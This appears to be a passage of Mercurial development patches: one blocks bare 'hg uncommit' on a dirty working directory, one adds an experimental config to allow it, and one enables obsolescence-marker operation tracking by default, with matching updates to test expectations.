-  $ hg uncommit --empty
+  $ hg uncommit --keep
   $ hg log -G -T '{desc} FILES: {files}'
   @  Q FILES:
   |
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1505854081 -19800
#      Wed Sep 20 02:18:01 2017 +0530
# Node ID 624c53e4121d88838dbfdf9ba7cb03cedba6e913
# Parent  f94442d4698402f27201527b0663c93253ef7831
uncommit: don't allow bare uncommit on dirty working directory

As per IRC discussion and suggestion by Augie, we should not allow bare `hg
uncommit` on dirty working directory.

Differential Revision: https://phab.mercurial-scm.org/D734

diff --git a/hgext/uncommit.py b/hgext/uncommit.py
--- a/hgext/uncommit.py
+++ b/hgext/uncommit.py
@@ -22,6 +22,7 @@
 from mercurial.i18n import _
 
 from mercurial import (
+    cmdutil,
     commands,
     context,
     copies,
@@ -148,6 +149,8 @@
     with repo.wlock(), repo.lock():
         wctx = repo[None]
 
+        if not pats:
+            cmdutil.bailifchanged(repo)
         if wctx.parents()[0].node() == node.nullid:
             raise error.Abort(_("cannot uncommit null changeset"))
         if len(wctx.parents()) > 1:
diff --git a/tests/test-uncommit.t b/tests/test-uncommit.t
--- a/tests/test-uncommit.t
+++ b/tests/test-uncommit.t
@@ -149,6 +149,9 @@
   foo
   $ hg status
   M files
+  $ hg uncommit
+  abort: uncommitted changes
+  [255]
   $ hg uncommit files
   $ cat files
   abcde
@@ -337,7 +340,7 @@
   (branch merge, don't forget to commit)
 
   $ hg uncommit
-  abort: cannot uncommit while merging
+  abort: outstanding uncommitted merge
   [255]
 
   $ hg status
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1505855425 -19800
#      Wed Sep 20 02:40:25 2017 +0530
# Node ID 7b1e524ad73faf2da47c33d20482820823b9ebb9
# Parent  624c53e4121d88838dbfdf9ba7cb03cedba6e913
uncommit: add an experimental.uncommitondirtywdir config

There are people who wants to do `hg uncommit` on dirty working directory, so
this patch adds a config which can be used to the achieve that.

Adds tests for the same.

Differential Revision: https://phab.mercurial-scm.org/D735

diff --git a/hgext/uncommit.py b/hgext/uncommit.py
--- a/hgext/uncommit.py
+++ b/hgext/uncommit.py
@@ -149,7 +149,8 @@
     with repo.wlock(), repo.lock():
         wctx = repo[None]
 
-        if not pats:
+        if not pats and not repo.ui.configbool('experimental',
+                                                'uncommitondirtywdir', False):
             cmdutil.bailifchanged(repo)
         if wctx.parents()[0].node() == node.nullid:
             raise error.Abort(_("cannot uncommit null changeset"))
diff --git a/tests/test-uncommit.t b/tests/test-uncommit.t
--- a/tests/test-uncommit.t
+++ b/tests/test-uncommit.t
@@ -158,6 +158,15 @@
   foo
   $ hg commit -m "files abcde + foo"
 
+Testing the 'experimental.uncommitondirtywdir' config
+
+  $ echo "bar" >> files
+  $ hg uncommit
+  abort: uncommitted changes
+  [255]
+  $ hg uncommit --config experimental.uncommitondirtywdir=True
+  $ hg commit -m "files abcde + foo"
+
 Uncommit in the middle of a stack, does not move bookmark
 
   $ hg checkout '.^^^'
@@ -177,15 +186,15 @@
   +abc
   
   $ hg bookmark
-     foo                       8:83815831694b
+     foo                       9:48e5bd7cd583
   $ hg uncommit
   $ hg status
   M files
   A file-abc
   $ hg heads -T '{rev}:{node} {desc}'
-  8:83815831694b1271e9f207cb1b79b2b19275edcb files abcde + foo (no-eol)
+  9:48e5bd7cd583eb24164ef8b89185819c84c96ed7 files abcde + foo (no-eol)
   $ hg bookmark
-     foo                       8:83815831694b
+     foo                       9:48e5bd7cd583
   $ hg commit -m 'new abc'
   created new head
 
@@ -207,34 +216,36 @@
   +ab
   
   $ hg bookmark
-     foo                       8:83815831694b
+     foo                       9:48e5bd7cd583
   $ hg uncommit file-ab
   $ hg status
   A file-ab
 
   $ hg heads -T '{rev}:{node} {desc}\n'
-  10:8eb87968f2edb7f27f27fe676316e179de65fff6 added file-ab
-  9:5dc89ca4486f8a88716c5797fa9f498d13d7c2e1 new abc
-  8:83815831694b1271e9f207cb1b79b2b19275edcb files abcde + foo
+  11:8eb87968f2edb7f27f27fe676316e179de65fff6 added file-ab
+  10:5dc89ca4486f8a88716c5797fa9f498d13d7c2e1 new abc
+  9:48e5bd7cd583eb24164ef8b89185819c84c96ed7 files abcde + foo
 
   $ hg bookmark
-     foo                       8:83815831694b
+     foo                       9:48e5bd7cd583
   $ hg commit -m 'update ab'
   $ hg status
   $ hg heads -T '{rev}:{node} {desc}\n'
-  11:f21039c59242b085491bb58f591afc4ed1c04c09 update ab
-  9:5dc89ca4486f8a88716c5797fa9f498d13d7c2e1 new abc
-  8:83815831694b1271e9f207cb1b79b2b19275edcb files abcde + foo
+  12:f21039c59242b085491bb58f591afc4ed1c04c09 update ab
+  10:5dc89ca4486f8a88716c5797fa9f498d13d7c2e1 new abc
+  9:48e5bd7cd583eb24164ef8b89185819c84c96ed7 files abcde + foo
 
   $ hg log -G -T '{rev}:{node} {desc}' --hidden
-  @  11:f21039c59242b085491bb58f591afc4ed1c04c09 update ab
+  @  12:f21039c59242b085491bb58f591afc4ed1c04c09 update ab
   |
-  o  10:8eb87968f2edb7f27f27fe676316e179de65fff6 added file-ab
+  o  11:8eb87968f2edb7f27f27fe676316e179de65fff6 added file-ab
   |
-  | o  9:5dc89ca4486f8a88716c5797fa9f498d13d7c2e1 new abc
+  | o  10:5dc89ca4486f8a88716c5797fa9f498d13d7c2e1 new abc
   | |
-  | | o  8:83815831694b1271e9f207cb1b79b2b19275edcb files abcde + foo
+  | | o  9:48e5bd7cd583eb24164ef8b89185819c84c96ed7 files abcde + foo
   | | |
+  | | | x  8:83815831694b1271e9f207cb1b79b2b19275edcb files abcde + foo
+  | | |/
   | | | x  7:0977fa602c2fd7d8427ed4e7ee15ea13b84c9173 update files for abcde
   | | |/
   | | o  6:3727deee06f72f5ffa8db792ee299cf39e3e190b new change abcde
@@ -255,7 +266,7 @@
 
   $ hg uncommit
   $ hg phase -r .
-  10: draft
+  11: draft
   $ hg commit -m 'update ab again'
 
 Uncommit with public parent
@@ -263,7 +274,7 @@
   $ hg phase -p "::.^"
   $ hg uncommit
   $ hg phase -r .
-  10: public
+  11: public
 
 Partial uncommit with public parent
 
@@ -274,9 +285,9 @@
   $ hg status
   A xyz
   $ hg phase -r .
-  14: draft
+  15: draft
   $ hg phase -r ".^"
-  10: public
+  11: public
 
 Uncommit leaving an empty changeset
 
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1505497369 25200
#      Fri Sep 15 10:42:49 2017 -0700
# Node ID ecc96506c49d24b0007cee83508404ea32d53a73
# Parent  7b1e524ad73faf2da47c33d20482820823b9ebb9
obsmarker: track operation by default

We added support for including the operation responsible for creating
the obsmarker in 3546a771e376 (obsolete: add operation metadata to
rebase/amend/histedit obsmarkers, 2017-05-09). However, soon
thereafter, in f432897a9f49 (obsmarker: add an experimental flag
controlling "operation" recording, 2017-05-20), it was hidden behind a
config that was off by default. It seems unlikely that people will
manually turn it on, and obsmarkers/evolution as a whole is still
experimental anyway, so let's turn on the tracking by default.

Differential Revision: https://phab.mercurial-scm.org/D722

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -191,7 +191,7 @@
     alias=[('experimental', 'evolution.bundle-obsmarker')],
 )
 coreconfigitem('experimental', 'stabilization.track-operation',
-    default=False,
+    default=True,
     alias=[('experimental', 'evolution.track-operation')]
 )
 coreconfigitem('experimental', 'exportableenviron',
diff --git a/tests/test-drawdag.t b/tests/test-drawdag.t
--- a/tests/test-drawdag.t
+++ b/tests/test-drawdag.t
@@ -227,11 +227,11 @@
   o  A 426bada5c67598ca65036d57d9e4b64b0c1ce7a0
   
   $ hg debugobsolete
-  112478962961147124edd43549aedd1a335e44bf 7fb047a69f220c21711122dfd94305a9efb60cba 64a8289d249234b9886244d379f15e6b650b28e3 711f53bbef0bebd12eb6f0511d5e2e998b984846 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  26805aba1e600a82e93661149f2313866a221a7b be0ef73c17ade3fc89dc41701eb9fc3a91b58282 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  be0ef73c17ade3fc89dc41701eb9fc3a91b58282 575c4b5ec114d64b681d33f8792853568bfb2b2c 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  64a8289d249234b9886244d379f15e6b650b28e3 0 {7fb047a69f220c21711122dfd94305a9efb60cba} (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  58e6b987bf7045fcd9c54f496396ca1d1fc81047 0 {575c4b5ec114d64b681d33f8792853568bfb2b2c} (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
+  112478962961147124edd43549aedd1a335e44bf 7fb047a69f220c21711122dfd94305a9efb60cba 64a8289d249234b9886244d379f15e6b650b28e3 711f53bbef0bebd12eb6f0511d5e2e998b984846 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'split', 'user': 'test'}
+  26805aba1e600a82e93661149f2313866a221a7b be0ef73c17ade3fc89dc41701eb9fc3a91b58282 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'replace', 'user': 'test'}
+  be0ef73c17ade3fc89dc41701eb9fc3a91b58282 575c4b5ec114d64b681d33f8792853568bfb2b2c 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'replace', 'user': 'test'}
+  64a8289d249234b9886244d379f15e6b650b28e3 0 {7fb047a69f220c21711122dfd94305a9efb60cba} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'prune', 'user': 'test'}
+  58e6b987bf7045fcd9c54f496396ca1d1fc81047 0 {575c4b5ec114d64b681d33f8792853568bfb2b2c} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'prune', 'user': 'test'}
 
 Change file contents via comments
 
diff --git a/tests/test-histedit-obsolete.t b/tests/test-histedit-obsolete.t
--- a/tests/test-histedit-obsolete.t
+++ b/tests/test-histedit-obsolete.t
@@ -50,9 +50,9 @@
   o  0:cb9a9f314b8b a
   
   $ hg debugobsolete
-  e72d22b19f8ecf4150ab4f91d0973fd9955d3ddf 49d44ab2be1b67a79127568a67c9c99430633b48 0 (*) {'user': 'test'} (glob)
-  1b2d564fad96311b45362f17c2aa855150efb35f 46abc7c4d8738e8563e577f7889e1b6db3da4199 0 (*) {'user': 'test'} (glob)
-  114f4176969ef342759a8a57e6bccefc4234829b 49d44ab2be1b67a79127568a67c9c99430633b48 0 (*) {'user': 'test'} (glob)
+  e72d22b19f8ecf4150ab4f91d0973fd9955d3ddf 49d44ab2be1b67a79127568a67c9c99430633b48 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  1b2d564fad96311b45362f17c2aa855150efb35f 46abc7c4d8738e8563e577f7889e1b6db3da4199 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
+  114f4176969ef342759a8a57e6bccefc4234829b 49d44ab2be1b67a79127568a67c9c99430633b48 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
 
 With some node gone missing during the edit.
 
@@ -79,13 +79,13 @@
   o  0:cb9a9f314b8b a
   
   $ hg debugobsolete
-  e72d22b19f8ecf4150ab4f91d0973fd9955d3ddf 49d44ab2be1b67a79127568a67c9c99430633b48 0 (*) {'user': 'test'} (glob)
-  1b2d564fad96311b45362f17c2aa855150efb35f 46abc7c4d8738e8563e577f7889e1b6db3da4199 0 (*) {'user': 'test'} (glob)
-  114f4176969ef342759a8a57e6bccefc4234829b 49d44ab2be1b67a79127568a67c9c99430633b48 0 (*) {'user': 'test'} (glob)
-  76f72745eac0643d16530e56e2f86e36e40631f1 2ca853e48edbd6453a0674dc0fe28a0974c51b9c 0 (*) {'user': 'test'} (glob)
-  2ca853e48edbd6453a0674dc0fe28a0974c51b9c aba7da93703075eec9fb1dbaf143ff2bc1c49d46 0 (*) {'user': 'test'} (glob)
-  49d44ab2be1b67a79127568a67c9c99430633b48 273c1f3b86267ed3ec684bb13af1fa4d6ba56e02 0 (*) {'user': 'test'} (glob)
-  46abc7c4d8738e8563e577f7889e1b6db3da4199 aba7da93703075eec9fb1dbaf143ff2bc1c49d46 0 (*) {'user': 'test'} (glob)
+  e72d22b19f8ecf4150ab4f91d0973fd9955d3ddf 49d44ab2be1b67a79127568a67c9c99430633b48 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  1b2d564fad96311b45362f17c2aa855150efb35f 46abc7c4d8738e8563e577f7889e1b6db3da4199 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
+  114f4176969ef342759a8a57e6bccefc4234829b 49d44ab2be1b67a79127568a67c9c99430633b48 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
+  76f72745eac0643d16530e56e2f86e36e40631f1 2ca853e48edbd6453a0674dc0fe28a0974c51b9c 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  2ca853e48edbd6453a0674dc0fe28a0974c51b9c aba7da93703075eec9fb1dbaf143ff2bc1c49d46 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  49d44ab2be1b67a79127568a67c9c99430633b48 273c1f3b86267ed3ec684bb13af1fa4d6ba56e02 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
+  46abc7c4d8738e8563e577f7889e1b6db3da4199 aba7da93703075eec9fb1dbaf143ff2bc1c49d46 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
   $ cd ..
 
 Base setup for the rest of the testing
@@ -168,13 +168,13 @@
   o  0:cb9a9f314b8b a
   
   $ hg debugobsolete
-  d2ae7f538514cd87c17547b0de4cea71fe1af9fb 0 {cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b} (*) {'user': 'test'} (glob)
-  177f92b773850b59254aa5e923436f921b55483b b346ab9a313db8537ecf96fca3ca3ca984ef3bd7 0 (*) {'user': 'test'} (glob)
-  055a42cdd88768532f9cf79daa407fc8d138de9b 59d9f330561fd6c88b1a6b32f0e45034d88db784 0 (*) {'user': 'test'} (glob)
-  e860deea161a2f77de56603b340ebbb4536308ae 59d9f330561fd6c88b1a6b32f0e45034d88db784 0 (*) {'user': 'test'} (glob)
-  652413bf663ef2a641cab26574e46d5f5a64a55a cacdfd884a9321ec4e1de275ef3949fa953a1f83 0 (*) {'user': 'test'} (glob)
-  96e494a2d553dd05902ba1cee1d94d4cb7b8faed 0 {b346ab9a313db8537ecf96fca3ca3ca984ef3bd7} (*) {'user': 'test'} (glob)
-  b558abc46d09c30f57ac31e85a8a3d64d2e906e4 0 {96e494a2d553dd05902ba1cee1d94d4cb7b8faed} (*) {'user': 'test'} (glob)
+  d2ae7f538514cd87c17547b0de4cea71fe1af9fb 0 {cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
+  177f92b773850b59254aa5e923436f921b55483b b346ab9a313db8537ecf96fca3ca3ca984ef3bd7 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
+  055a42cdd88768532f9cf79daa407fc8d138de9b 59d9f330561fd6c88b1a6b32f0e45034d88db784 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
+  e860deea161a2f77de56603b340ebbb4536308ae 59d9f330561fd6c88b1a6b32f0e45034d88db784 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
+  652413bf663ef2a641cab26574e46d5f5a64a55a cacdfd884a9321ec4e1de275ef3949fa953a1f83 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
+  96e494a2d553dd05902ba1cee1d94d4cb7b8faed 0 {b346ab9a313db8537ecf96fca3ca3ca984ef3bd7} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
+  b558abc46d09c30f57ac31e85a8a3d64d2e906e4 0 {96e494a2d553dd05902ba1cee1d94d4cb7b8faed} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
 
 
 Ensure hidden revision does not prevent histedit
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -210,9 +210,9 @@
   @  d004c8f274b9
   |
   | x  a468dc9b3633
-  |/     Obsfate: [{"markers": [["a468dc9b36338b14fdb7825f55ce3df4e71517ad", ["d004c8f274b9ec480a47a93c10dac5eee63adb78"], 0, [["user", "test2"]], [987654321.0, 0], null]], "successors": ["d004c8f274b9ec480a47a93c10dac5eee63adb78"]}]
+  |/     Obsfate: [{"markers": [["a468dc9b36338b14fdb7825f55ce3df4e71517ad", ["d004c8f274b9ec480a47a93c10dac5eee63adb78"], 0, [["operation", "amend"], ["user", "test2"]], [987654321.0, 0], null]], "successors": ["d004c8f274b9ec480a47a93c10dac5eee63adb78"]}]
   | x  471f378eab4c
-  |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"], 0, [["user", "test1"]], [1234567890.0, 0], null]], "successors": ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]}]
+  |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"], 0, [["operation", "amend"], ["user", "test1"]], [1234567890.0, 0], null]], "successors": ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]}]
   o  ea207398892e
   
 Test templates with splitted commit
@@ -721,11 +721,11 @@
   o  019fadeab383
   |
   | x  65b757b745b9
-  |/     Obsfate: [{"markers": [["65b757b745b935093c87a2bccd877521cccffcbd", ["019fadeab383f6699fa83ad7bdb4d82ed2c0e5ab"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["019fadeab383f6699fa83ad7bdb4d82ed2c0e5ab"]}]
+  |/     Obsfate: [{"markers": [["65b757b745b935093c87a2bccd877521cccffcbd", ["019fadeab383f6699fa83ad7bdb4d82ed2c0e5ab"], 0, [["operation", "amend"], ["user", "test"]], [0.0, 0], null]], "successors": ["019fadeab383f6699fa83ad7bdb4d82ed2c0e5ab"]}]
   | @  fdf9bde5129a
   |/
   | x  471f378eab4c
-  |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e"]}, {"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["65b757b745b935093c87a2bccd877521cccffcbd"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["65b757b745b935093c87a2bccd877521cccffcbd"]}]
+  |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e"], 0, [["operation", "amend"], ["user", "test"]], [0.0, 0], null]], "successors": ["fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e"]}, {"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["65b757b745b935093c87a2bccd877521cccffcbd"], 0, [["operation", "amend"], ["user", "test"]], [0.0, 0], null]], "successors": ["65b757b745b935093c87a2bccd877521cccffcbd"]}]
   o  ea207398892e
   
 
@@ -954,7 +954,7 @@
   | x  b7ea6d14e664
   | |    Obsfate: [{"markers": [["b7ea6d14e664bdc8922221f7992631b50da3fb07", ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]}]
   | | x  0dec01379d3b
-  | |/     Obsfate: [{"markers": [["0dec01379d3be6318c470ead31b1fe7ae7cb53d5", ["b7ea6d14e664bdc8922221f7992631b50da3fb07"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["b7ea6d14e664bdc8922221f7992631b50da3fb07"]}]
+  | |/     Obsfate: [{"markers": [["0dec01379d3be6318c470ead31b1fe7ae7cb53d5", ["b7ea6d14e664bdc8922221f7992631b50da3fb07"], 0, [["operation", "amend"], ["user", "test"]], [0.0, 0], null]], "successors": ["b7ea6d14e664bdc8922221f7992631b50da3fb07"]}]
   | x  471f378eab4c
   |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]}]
   o  ea207398892e
@@ -1044,8 +1044,8 @@
   
 
   $ hg debugobsolete
-  471f378eab4c5e25f6c77f785b27c936efb22874 fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e 7a230b46bf61e50b30308c6cfd7bd1269ef54702 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
+  471f378eab4c5e25f6c77f785b27c936efb22874 fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e 7a230b46bf61e50b30308c6cfd7bd1269ef54702 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
 
 Check templates
 ---------------
@@ -1532,7 +1532,7 @@
   | o  ba2ed02b0c9a
   | |
   | x  4a004186e638
-  |/     Obsfate: [{"markers": [["4a004186e63889f20cb16434fcbd72220bd1eace", ["b18bc8331526a22cbb1801022bd1555bf291c48b"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["b18bc8331526a22cbb1801022bd1555bf291c48b"]}, {"markers": [["4a004186e63889f20cb16434fcbd72220bd1eace", ["0b997eb7ceeee06200a02f8aab185979092d514e"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["0b997eb7ceeee06200a02f8aab185979092d514e"]}]
+  |/     Obsfate: [{"markers": [["4a004186e63889f20cb16434fcbd72220bd1eace", ["b18bc8331526a22cbb1801022bd1555bf291c48b"], 0, [["operation", "amend"], ["user", "test"]], [0.0, 0], null]], "successors": ["b18bc8331526a22cbb1801022bd1555bf291c48b"]}, {"markers": [["4a004186e63889f20cb16434fcbd72220bd1eace", ["0b997eb7ceeee06200a02f8aab185979092d514e"], 0, [["operation", "amend"], ["user", "test"]], [0.0, 0], null]], "successors": ["0b997eb7ceeee06200a02f8aab185979092d514e"]}]
   o  dd800401bd8c
   |
   | x  9bd10a0775e4
diff --git a/tests/test-obsolete-divergent.t b/tests/test-obsolete-divergent.t
--- a/tests/test-obsolete-divergent.t
+++ b/tests/test-obsolete-divergent.t
@@ -680,6 +680,6 @@
   o  0:426bada5c675 A
   
   $ hg debugobsolete
-  a178212c3433c4e77b573f6011e29affb8aefa33 1a2a9b5b0030632400aa78e00388c20f99d3ec44 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  a178212c3433c4e77b573f6011e29affb8aefa33 ad6478fb94ecec98b86daae98722865d494ac561 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  ad6478fb94ecec98b86daae98722865d494ac561 70d5a63ca112acb3764bc1d7320ca90ea688d671 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
+  a178212c3433c4e77b573f6011e29affb8aefa33 1a2a9b5b0030632400aa78e00388c20f99d3ec44 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  a178212c3433c4e77b573f6011e29affb8aefa33 ad6478fb94ecec98b86daae98722865d494ac561 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'test', 'user': 'test'}
+  ad6478fb94ecec98b86daae98722865d494ac561 70d5a63ca112acb3764bc1d7320ca90ea688d671 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'test', 'user': 'test'}
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -1321,7 +1321,7 @@
   $ hg strip --hidden -r 2 --config extensions.strip= --config devel.strip-obsmarkers=no
   saved backup bundle to $TESTTMP/tmpe/issue4845/.hg/strip-backup/e008cf283490-ede36964-backup.hg (glob)
   $ hg debugobsolete
-  e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (*) {'user': 'test'} (glob)
+  e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
   $ hg log -G
   @  2:b0551702f918 (draft) [tip ] 2
   |
@@ -1348,7 +1348,7 @@
   searching for changes
   no changes found
   $ hg debugobsolete
-  e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (*) {'user': 'test'} (glob)
+  e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
   $ hg log -G
   @  2:b0551702f918 (draft) [tip ] 2
   |
@@ -1382,8 +1382,8 @@
       e016b03fd86fcccc54817d120b90b751aaf367d6
       b0551702f918510f01ae838ab03a463054c67b46
   obsmarkers -- {}
-      version: 1 (70 bytes)
-      e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
+      version: 1 (86 bytes)
+      e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
   phase-heads -- {}
       b0551702f918510f01ae838ab03a463054c67b46 draft
 
@@ -1395,7 +1395,7 @@
   1 new obsolescence markers
   (run 'hg update' to get a working copy)
   $ hg debugobsolete | sort
-  e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (*) {'user': 'test'} (glob)
+  e008cf2834908e5d6b0f792a9d4b0e2272260fb8 b0551702f918510f01ae838ab03a463054c67b46 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
   $ hg log -G
   o  2:b0551702f918 (draft) [tip ] 2
   |
@@ -1431,7 +1431,7 @@
   adding d
   $ hg ci --amend -m dd --config experimental.stabilization.track-operation=1
   $ hg debugobsolete --index --rev "3+7"
-  1 6fdef60fcbabbd3d50e9b9cbc2a240724b91a5e1 d27fb9b066076fd921277a4b9e8b9cb48c95bc6a 0 \(.*\) {'user': 'test'} (re)
+  1 6fdef60fcbabbd3d50e9b9cbc2a240724b91a5e1 d27fb9b066076fd921277a4b9e8b9cb48c95bc6a 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
   3 4715cf767440ed891755448016c2b8cf70760c30 7ae79c5d60f049c7b0dd02f5f25b9d60aaf7b36d 0 \(.*\) {'operation': 'amend', 'user': 'test'} (re)
   $ hg debugobsolete --index --rev "3+7" -Tjson
   [
@@ -1439,7 +1439,7 @@
     "date": [0.0, 0],
     "flag": 0,
     "index": 1,
-    "metadata": {"user": "test"},
+    "metadata": {"operation": "amend", "user": "test"},
     "prednode": "6fdef60fcbabbd3d50e9b9cbc2a240724b91a5e1",
     "succnodes": ["d27fb9b066076fd921277a4b9e8b9cb48c95bc6a"]
    },
@@ -1455,15 +1455,15 @@
 
 Test the --delete option of debugobsolete command
   $ hg debugobsolete --index
-  0 cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b f9bd49731b0b175e42992a3c8fa6c678b2bc11f1 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  1 6fdef60fcbabbd3d50e9b9cbc2a240724b91a5e1 d27fb9b066076fd921277a4b9e8b9cb48c95bc6a 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  2 1ab51af8f9b41ef8c7f6f3312d4706d870b1fb74 29346082e4a9e27042b62d2da0e2de211c027621 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
+  0 cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b f9bd49731b0b175e42992a3c8fa6c678b2bc11f1 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  1 6fdef60fcbabbd3d50e9b9cbc2a240724b91a5e1 d27fb9b066076fd921277a4b9e8b9cb48c95bc6a 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  2 1ab51af8f9b41ef8c7f6f3312d4706d870b1fb74 29346082e4a9e27042b62d2da0e2de211c027621 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
   3 4715cf767440ed891755448016c2b8cf70760c30 7ae79c5d60f049c7b0dd02f5f25b9d60aaf7b36d 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
   $ hg debugobsolete --delete 1 --delete 3
   deleted 2 obsolescence markers
   $ hg debugobsolete
-  cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b f9bd49731b0b175e42992a3c8fa6c678b2bc11f1 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
